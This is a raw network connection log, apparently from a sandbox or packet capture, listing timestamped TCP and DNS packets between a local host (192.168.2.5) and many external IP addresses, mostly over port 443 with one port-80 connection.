Nov 20, 2024 00:19:22.419251919 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.419258118 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419275999 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.419296026 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419333935 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419375896 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.419378042 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419388056 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419426918 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.419914961 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419958115 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419965982 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.419980049 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420025110 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.420030117 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420090914 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420125961 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420131922 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.420136929 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420183897 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.420188904 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420219898 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420264006 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420272112 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.420277119 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420319080 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.420324087 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420857906 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420900106 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420912027 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.420917034 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420948029 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420985937 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.420993090 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.420998096 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.421026945 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.421034098 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.421039104 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.421058893 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.421565056 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.421797037 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.422296047 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.422308922 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.424122095 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:22.424133062 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:22.424195051 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:22.424619913 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:22.424628973 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:22.427951097 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.428015947 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.428069115 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.428855896 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.428870916 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.428884983 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.428890944 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.435780048 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.435813904 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.435933113 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.436429977 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.436450958 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.466007948 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.466093063 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.466339111 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.472759008 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.472785950 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.472809076 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.472815990 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.475490093 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.475553989 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.475682020 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.476227999 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.476247072 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.476262093 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.476269007 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.476970911 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:22.480418921 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.480448008 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.480587959 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.486366034 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.486377954 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.487849951 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.487883091 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.488039970 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.488204956 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.488218069 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.488334894 CET	62039	53	192.168.2.5	1.1.1.1
Nov 20, 2024 00:19:22.493185997 CET	53	62039	1.1.1.1	192.168.2.5
Nov 20, 2024 00:19:22.493294001 CET	62039	53	192.168.2.5	1.1.1.1
Nov 20, 2024 00:19:22.543395996 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.544682980 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.546055079 CET	53	62039	1.1.1.1	192.168.2.5
Nov 20, 2024 00:19:22.563077927 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:22.563129902 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:22.563287020 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:22.563669920 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:22.563685894 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:22.583015919 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.583040953 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.583523989 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.583533049 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.584161043 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.584178925 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.584686041 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.584692955 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.592145920 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:22.635332108 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:22.652831078 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.652928114 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.652983904 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.659101009 CET	62041	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:22.659127951 CET	443	62041	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:22.659374952 CET	62041	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:22.659668922 CET	62041	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:22.659684896 CET	443	62041	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:22.660109997 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.660120010 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.660130024 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.660134077 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.686398983 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.686556101 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.687051058 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.687406063 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.687556982 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.687608004 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.698308945 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:22.698338032 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:22.698414087 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:22.699016094 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:22.699026108 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:22.700349092 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.700349092 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.700370073 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.700380087 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.701838970 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.701864004 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.701875925 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.701881886 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.810946941 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:22.811130047 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:22.811299086 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:22.885186911 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:22.885221004 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:22.895535946 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.895591974 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.896121979 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.952785969 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.952826023 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.952979088 CET	62043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.953011036 CET	443	62043	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.953035116 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.953818083 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:22.954293966 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:22.954312086 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:22.954698086 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:22.955169916 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:22.955245018 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:22.955380917 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:22.955394030 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:22.955405951 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:23.043054104 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.043081045 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.062230110 CET	62045	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.062293053 CET	443	62045	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:23.062360048 CET	62045	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.062686920 CET	62045	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.062710047 CET	443	62045	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:23.085195065 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:23.085488081 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:23.085541010 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:23.086093903 CET	49805	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:23.086118937 CET	443	49805	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:23.103037119 CET	62039	53	192.168.2.5	1.1.1.1
Nov 20, 2024 00:19:23.103524923 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.108063936 CET	53	62039	1.1.1.1	192.168.2.5
Nov 20, 2024 00:19:23.108128071 CET	62039	53	192.168.2.5	1.1.1.1
Nov 20, 2024 00:19:23.129574060 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.129597902 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.131978035 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.132004976 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.153290987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.156780958 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.157059908 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.158163071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.161509037 CET	62046	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.161557913 CET	443	62046	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.161622047 CET	62046	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.161786079 CET	62047	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.161828995 CET	443	62047	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.161895990 CET	62047	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.161995888 CET	62048	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.162039995 CET	443	62048	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.162121058 CET	62049	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.162138939 CET	443	62049	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.162157059 CET	62048	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.162197113 CET	62049	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.162666082 CET	62050	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.162676096 CET	443	62050	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.162728071 CET	62050	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.163053989 CET	62046	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.163067102 CET	443	62046	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.163373947 CET	62050	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.163392067 CET	443	62050	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.163542986 CET	62049	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.163556099 CET	443	62049	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.163677931 CET	62048	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.163692951 CET	443	62048	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.163877964 CET	62047	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.163906097 CET	443	62047	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.165566921 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.166063070 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:23.166074991 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.167162895 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.167232037 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:23.168911934 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:23.168977976 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.169528008 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:23.169534922 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.186952114 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.186966896 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.188133955 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.188138008 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.201885939 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.201916933 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.202656984 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.202670097 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.235553980 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.235630989 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.235712051 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.258830070 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.258830070 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.258857965 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.258867979 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.268060923 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.268112898 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.268207073 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.270325899 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.270339012 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.275464058 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.275477886 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.275538921 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.275559902 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:23.275682926 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:23.283267975 CET	62040	443	192.168.2.5	152.195.19.97
Nov 20, 2024 00:19:23.283277035 CET	443	62040	152.195.19.97	192.168.2.5
Nov 20, 2024 00:19:23.286878109 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.286952019 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.287112951 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.287383080 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.287398100 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.287406921 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.287411928 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.292184114 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.292211056 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.292363882 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.292738914 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.292752028 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.303529978 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.303601980 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.303690910 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.304464102 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.304481983 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.304492950 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.304498911 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.313740969 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.313772917 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.313908100 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.314169884 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.314184904 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.318453074 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.318828106 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.318854094 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.320127964 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.320194960 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.321645975 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.321718931 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.321949005 CET	62042	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:23.321966887 CET	443	62042	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:23.362909079 CET	62054	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:23.362934113 CET	443	62054	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:23.363010883 CET	62054	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:23.363264084 CET	62054	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:23.363275051 CET	443	62054	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:23.385481119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385548115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.385690928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385706902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385721922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385735035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.385737896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385752916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385756016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.385768890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385773897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.385788918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385804892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.385835886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.385942936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385960102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385977030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.385987043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.385993004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.386013031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.386039019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.391763926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.391869068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.409374952 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.409411907 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.409557104 CET	443	49781	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:23.409584999 CET	443	49782	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:23.409646034 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.409670115 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.411569118 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:23.411628962 CET	443	49799	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:23.411636114 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:23.411694050 CET	62041	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:23.411696911 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:23.411781073 CET	443	49800	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:23.411850929 CET	62054	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:23.411863089 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:23.411958933 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.411999941 CET	443	49783	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:23.412002087 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.412031889 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.412054062 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.412136078 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.412151098 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:23.412174940 CET	443	49784	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:23.412201881 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.412197113 CET	49804	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:23.412225008 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.412266016 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:23.412283897 CET	62046	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.412313938 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:23.412564993 CET	62047	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.412611961 CET	62048	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.412641048 CET	62049	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.412688017 CET	62050	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.412818909 CET	62045	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:23.413609982 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.413640976 CET	443	62055	104.117.182.9	192.168.2.5
